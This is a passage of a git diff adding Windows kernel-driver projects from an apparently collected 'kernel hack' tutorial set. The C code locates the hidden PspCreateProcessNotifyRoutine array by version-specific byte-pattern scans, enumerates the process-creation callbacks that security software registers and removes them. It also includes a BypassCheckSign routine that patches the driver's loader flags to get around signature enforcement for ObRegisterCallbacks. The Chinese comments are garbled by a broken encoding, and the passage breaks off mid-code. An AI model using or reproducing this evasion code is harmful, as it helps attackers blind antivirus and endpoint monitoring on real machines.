(PVOID)((ULONG64)pNotifyRoutineAddress & 0xfffffffffffffff8); + if (MmIsAddressValid(pNotifyRoutineAddress)) + { + pNotifyRoutineAddress = *(PVOID *)pNotifyRoutineAddress; + DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); + } + } +#else + for (i = 0; i < 8; i++) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspCreateProcessNotifyRoutineAddress + sizeof(PVOID) * i); + pNotifyRoutineAddress = (PVOID)((ULONG)pNotifyRoutineAddress & 0xfffffff8); + if (MmIsAddressValid(pNotifyRoutineAddress)) + { + pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pNotifyRoutineAddress + 4); + DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); + } + } +#endif + + return TRUE; +} + + +// Ƴص +NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress) +{ + NTSTATUS status = PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)pNotifyRoutineAddress, TRUE); + if (!NT_SUCCESS(status)) + { + ShowError("PsSetCreateProcessNotifyRoutine", status); + } + return status; +} + + +// ȡ PspCreateProcessNotifyRoutine ַ +PVOID GetPspCreateProcessNotifyRoutine() +{ + PVOID pPspCreateProcessNotifyRoutineAddress = NULL; + RTL_OSVERSIONINFOW osInfo = { 0 }; + UCHAR pFirstSpecialData[50] = { 0 }; + ULONG ulFirstSpecialDataSize = 0; + UCHAR pSecondSpecialData[50] = { 0 }; + ULONG ulSecondSpecialDataSize = 0; + + // ȡϵͳ汾Ϣ, жϵͳ汾 + RtlGetVersion(&osInfo); + if (6 == osInfo.dwMajorVersion) + { + if (1 == osInfo.dwMinorVersion) + { + // Win7 +#ifdef _WIN64 + // 64 λ + // E9 + pFirstSpecialData[0] = 0xE9; + ulFirstSpecialDataSize = 1; + // 4C8D35 + pSecondSpecialData[0] = 0x4C; + pSecondSpecialData[1] = 0x8D; + pSecondSpecialData[2] = 0x35; + ulSecondSpecialDataSize = 3; +#else + // 32 λ + // E8 + pFirstSpecialData[0] = 0xE8; + ulFirstSpecialDataSize = 1; + // C7450C + pSecondSpecialData[0] = 0xC7; + pSecondSpecialData[1] = 0x45; + pSecondSpecialData[2] = 0x0C; + ulSecondSpecialDataSize = 3; +#endif + } + else if (2 == osInfo.dwMinorVersion) + { + // Win8 +#ifdef _WIN64 + // 64 λ + +#else + // 32 λ + +#endif + } + else if (3 == osInfo.dwMinorVersion) + { + // Win8.1 +#ifdef _WIN64 + // 64 λ + // E9 + pFirstSpecialData[0] = 0xE9; + ulFirstSpecialDataSize = 1; + // 4C8D3D + pSecondSpecialData[0] = 0x4C; + pSecondSpecialData[1] = 0x8D; + pSecondSpecialData[2] = 0x3D; + ulSecondSpecialDataSize = 3; +#else + // 32 λ + // E8 + pFirstSpecialData[0] = 0xE8; + ulFirstSpecialDataSize = 1; + // B8 + pSecondSpecialData[0] = 0xB8; + ulSecondSpecialDataSize = 1; +#endif + } + } + else if (10 == osInfo.dwMajorVersion) + { + // Win10 +#ifdef _WIN64 + // 64 λ + // E9 + pFirstSpecialData[0] = 0xE9; + ulFirstSpecialDataSize = 1; + // 4C8D3D + pSecondSpecialData[0] = 0x4C; + pSecondSpecialData[1] = 0x8D; + pSecondSpecialData[2] = 0x3D; + ulSecondSpecialDataSize = 3; +#else + // 32 λ + // E8 + pFirstSpecialData[0] = 0xE8; + ulFirstSpecialDataSize = 1; + // BB + pSecondSpecialData[0] = 0xBB; + ulSecondSpecialDataSize = 1; +#endif + } + + // ȡַ + pPspCreateProcessNotifyRoutineAddress = SearchPspCreateProcessNotifyRoutine(pFirstSpecialData, ulFirstSpecialDataSize, pSecondSpecialData, ulSecondSpecialDataSize); + return pPspCreateProcessNotifyRoutineAddress; +} + + +// ȡ PspCreateProcessNotifyRoutine ַ +PVOID SearchPspCreateProcessNotifyRoutine(PUCHAR pFirstSpecialData, ULONG ulFirstSpecialDataSize, PUCHAR pSecondSpecialData, ULONG ulSecondSpecialDataSize) +{ + UNICODE_STRING ustrFuncName; + PVOID pAddress = NULL; + LONG lOffset = 0; + PVOID pPsSetCteateProcessNotifyRoutine = NULL; + PVOID pPspSetCreateProcessNotifyRoutineAddress = NULL; + PVOID pPspCreateProcessNotifyRoutineAddress = NULL; + + // Ȼȡ PsSetCreateProcessNotifyRoutine ַ + RtlInitUnicodeString(&ustrFuncName, L"PsSetCreateProcessNotifyRoutine"); + pPsSetCteateProcessNotifyRoutine = MmGetSystemRoutineAddress(&ustrFuncName); + if (NULL == pPsSetCteateProcessNotifyRoutine) + { + ShowError("MmGetSystemRoutineAddress", 0); + return pPspCreateProcessNotifyRoutineAddress; + } + + // Ȼ, PspSetCreateProcessNotifyRoutine ַ + pAddress = SearchMemory(pPsSetCteateProcessNotifyRoutine, + (PVOID)((PUCHAR)pPsSetCteateProcessNotifyRoutine + 0xFF), + pFirstSpecialData, ulFirstSpecialDataSize); + if (NULL == pAddress) + { + ShowError("SearchMemory1", 0); + return pPspCreateProcessNotifyRoutineAddress; + } + // ȡƫ, ַ + lOffset = *(PLONG)pAddress; + pPspSetCreateProcessNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); + + // , PspCreateProcessNotifyRoutine ַ + pAddress = SearchMemory(pPspSetCreateProcessNotifyRoutineAddress, + (PVOID)((PUCHAR)pPspSetCreateProcessNotifyRoutineAddress + 0xFF), + pSecondSpecialData, ulSecondSpecialDataSize); + if (NULL == pAddress) + { + ShowError("SearchMemory2", 0); + return pPspCreateProcessNotifyRoutineAddress; + } + // ȡַ +#ifdef _WIN64 + // 64 λȻȡƫ, ټַ + lOffset = *(PLONG)pAddress; + pPspCreateProcessNotifyRoutineAddress = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); +#else + // 32 λֱӻȡַ + pPspCreateProcessNotifyRoutineAddress = *(PVOID *)pAddress; +#endif + + return pPspCreateProcessNotifyRoutineAddress; +} + + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize) +{ + PVOID pAddress = NULL; + PUCHAR i = NULL; + ULONG m = 0; + + // ɨڴ + for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) + { + // ж + for (m = 0; m < ulMemoryDataSize; m++) + { + if (*(PUCHAR)(i + m) != pMemoryData[m]) + { + break; + } + } + // жǷҵĵַ + if (m >= ulMemoryDataSize) + { + // ҵλ, ȡһַ + pAddress = (PVOID)(i + ulMemoryDataSize); + break; + } + } + + return pAddress; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/EnumRemove.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/EnumRemove.h" new file mode 100644 index 0000000..94c79b6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/EnumRemove.h" @@ -0,0 +1,24 @@ +#ifndef _ENUM_REMOVE_H_ +#define _ENUM_REMOVE_H_ + + +#include + + +// ص +BOOLEAN EnumNotifyRoutine(); + +// Ƴص +NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress); + +// ȡ PspCreateProcessNotifyRoutine ַ +PVOID GetPspCreateProcessNotifyRoutine(); + +// ȡ PspCreateProcessNotifyRoutine ַ +PVOID SearchPspCreateProcessNotifyRoutine(PUCHAR pFirstSpecialData, ULONG ulFirstSpecialDataSize, PUCHAR pSecondSpecialData, ULONG ulSecondSpecialDataSize); + +// ָڴɨ +PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.inf" new file mode 100644 index 0000000..d128f71 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.inf" @@ -0,0 +1,32 @@ +; +; PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="PsSetCreateProcessNotifyRoutine_Enum_Remove_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj" new file mode 100644 index 0000000..9c0fb02 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj" @@ -0,0 +1,287 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {3D6DF258-3168-49CF-B081-7E1362AD05A4} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + PsSetCreateProcessNotifyRoutine_Enum_Remove_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj.filters" new file mode 100644 index 0000000..54a43d5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj.user" new file mode 100644 index 0000000..9166ddd --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\217\215\350\277\233\347\250\213\345\210\233\345\273\272\347\233\221\346\216\247/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test/PsSetCreateProcessNotifyRoutine_Enum_Remove_Test.vcxproj.user" @@ -0,0 +1,45 @@ + + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Off + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + + Win7x64DriverDebug + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.sln" new file mode 100644 index 0000000..bff59f5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ObRegisterCallbacks_Test", "ObRegisterCallbacks_Test\ObRegisterCallbacks_Test.vcxproj", "{9F9385B5-73EB-467B-823D-72AB5CDB188D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {9F9385B5-73EB-467B-823D-72AB5CDB188D}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.v12.suo" new file mode 100644 index 0000000..48f0246 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/Driver.c" new file mode 100644 index 0000000..e3e11e1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/Driver.c" @@ -0,0 +1,49 @@ +#include "NotifyRoutine.h" +#include "Driver.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ̷ʽƹǩ +// BypassCheckSign(pDriverObject); + + // ý̻ص + SetProcessCallbacks(); + + // ̻߳ص + SetThreadCallbacks(); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ + // ɾ̻ص + RemoveProcessCallbacks(); + + // ɾ̻߳ص + RemoveThreadCallbacks(); +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/NotifyRoutine.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/NotifyRoutine.c" new file mode 100644 index 0000000..98d0f25 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/\345\257\271\350\261\241\347\233\221\346\216\247/ObRegisterCallbacks_Test/ObRegisterCallbacks_Test/NotifyRoutine.c" @@ -0,0 +1,238 @@ +#include "NotifyRoutine.h" + + +// ̷ʽƹǩ +BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject) +{ +#ifdef _WIN64 + typedef struct _KLDR_DATA_TABLE_ENTRY + { + LIST_ENTRY listEntry; + ULONG64 __Undefined1; + ULONG64 __Undefined2; + ULONG64 __Undefined3; + ULONG64 NonPagedDebugInfo; + ULONG64 DllBase; + ULONG64 EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING path; + UNICODE_STRING name; + ULONG Flags; + USHORT LoadCount; + USHORT __Undefined5; + ULONG64 __Undefined6; + ULONG CheckSum; + ULONG __padding1; + ULONG TimeDateStamp; + ULONG __padding2; + } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; +#else + typedef struct _KLDR_DATA_TABLE_ENTRY + { + LIST_ENTRY listEntry; + ULONG unknown1; + ULONG unknown2; + ULONG unknown3; + ULONG unknown4; + ULONG unknown5; + ULONG unknown6; + ULONG unknown7; + UNICODE_STRING path; + UNICODE_STRING name; + ULONG Flags; + } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; +#endif + + PKLDR_DATA_TABLE_ENTRY pLdrData = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; + pLdrData->Flags = pLdrData->Flags | 0x20; + + return TRUE; +} + + +// ý̻ص +NTSTATUS SetProcessCallbacks() +{ + NTSTATUS status = STATUS_SUCCESS; + OB_CALLBACK_REGISTRATION obCallbackReg = { 0 }; + OB_OPERATION_REGISTRATION obOperationReg = { 0 }; + + RtlZeroMemory(&obCallbackReg, sizeof(OB_CALLBACK_REGISTRATION)); + RtlZeroMemory(&obOperationReg, sizeof(OB_OPERATION_REGISTRATION)); + + // OB_CALLBACK_REGISTRATION + obCallbackReg.Version = ObGetFilterVersion(); + obCallbackReg.OperationRegistrationCount = 1; + obCallbackReg.RegistrationContext = NULL; + RtlInitUnicodeString(&obCallbackReg.Altitude, L"321000"); + obCallbackReg.OperationRegistration = &obOperationReg; + + // OB_OPERATION_REGISTRATION + // Thread Process + obOperationReg.ObjectType = PsProcessType; + obOperationReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; + // Thread Process + obOperationReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)(&ProcessPreCall); + + // עص + status = ObRegisterCallbacks(&obCallbackReg, &g_obProcessHandle); + if 